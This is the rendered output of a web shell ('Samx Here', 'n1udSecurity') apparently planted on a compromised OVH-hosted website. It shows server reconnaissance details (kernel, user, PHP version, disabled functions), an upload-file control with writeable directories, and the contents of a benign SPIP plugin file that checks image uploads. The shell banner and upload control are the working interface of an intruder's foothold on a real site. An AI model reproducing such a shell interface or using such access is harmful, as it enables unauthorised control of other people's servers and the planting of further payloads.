Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins/auto/verifier/verifier/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins/auto/verifier/verifier/image_upload_multiple.php
<?php

/**
 * API de vérification : vérification d'un upload d'image
 *
 * @plugin     verifier
 * @copyright  2018
 * @author     Les Développements Durables
 * @licence    GNU/GPL
 */

// Sécurité
if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

/**
 * Vérifier un upload d'image unique ou multiple
 *
 * Cette fonction n'est conservée que pour compatibilité ascendant.
 * Lui préferer la vérification 'fichiers', qui possède plus d'options, et qui est d'ailleurs appelée ici.
 *
 * @deprecated
 * @see verifier/fichiers.php
 *
 * @param array $valeur
 *   Le sous tableau de $_FILES à vérifier
 *   Peut être un champ avec plusieurs uploads
 * @param array $options
 *   Options à vérifier :
 *   - taille_max (en kio)
 *   - largeur_max (en px)
 *   - hauteur_max (en px)
 * @param null  $valeur_normalisee
 *   Retourne un tableau des indexes de fichiers en erreur
 *
 * @return string
 *   Retourne une chaine vide si c'est valide, sinon une chaine expliquant l'erreur.
 */
function verifier_image_upload_multiple_dist($valeur, $options = [], &$valeur_normalisee = null) {
	// Convertir pour les nouveaux réglages de la vérification 'fichier'
	$nouvelles_options = ['mime' => 'image_web'];
	if (isset($options['taille_max'])) {
		$nouvelles_options['taille_max'] = $options['taille_max'];
	}
	if (isset($options['largeur_max']) || isset($options['hauteur_max'])) {
		$nouvelles_options['dimension_max'] = [];
		if (isset($options['largeur_max'])) {
			$nouvelles_options['dimension_max']['largeur'] = $options['largeur_max'];
		}
		if (isset($options['hauteur_max'])) {
			$nouvelles_options['dimension_max']['hauteur'] = $options['hauteur_max'];
		}
	}
	$verifier = charger_fonction('verifier', 'inc', true);

	return $verifier($valeur, 'fichiers', $nouvelles_options, $valeur_normalisee);
}

SAMX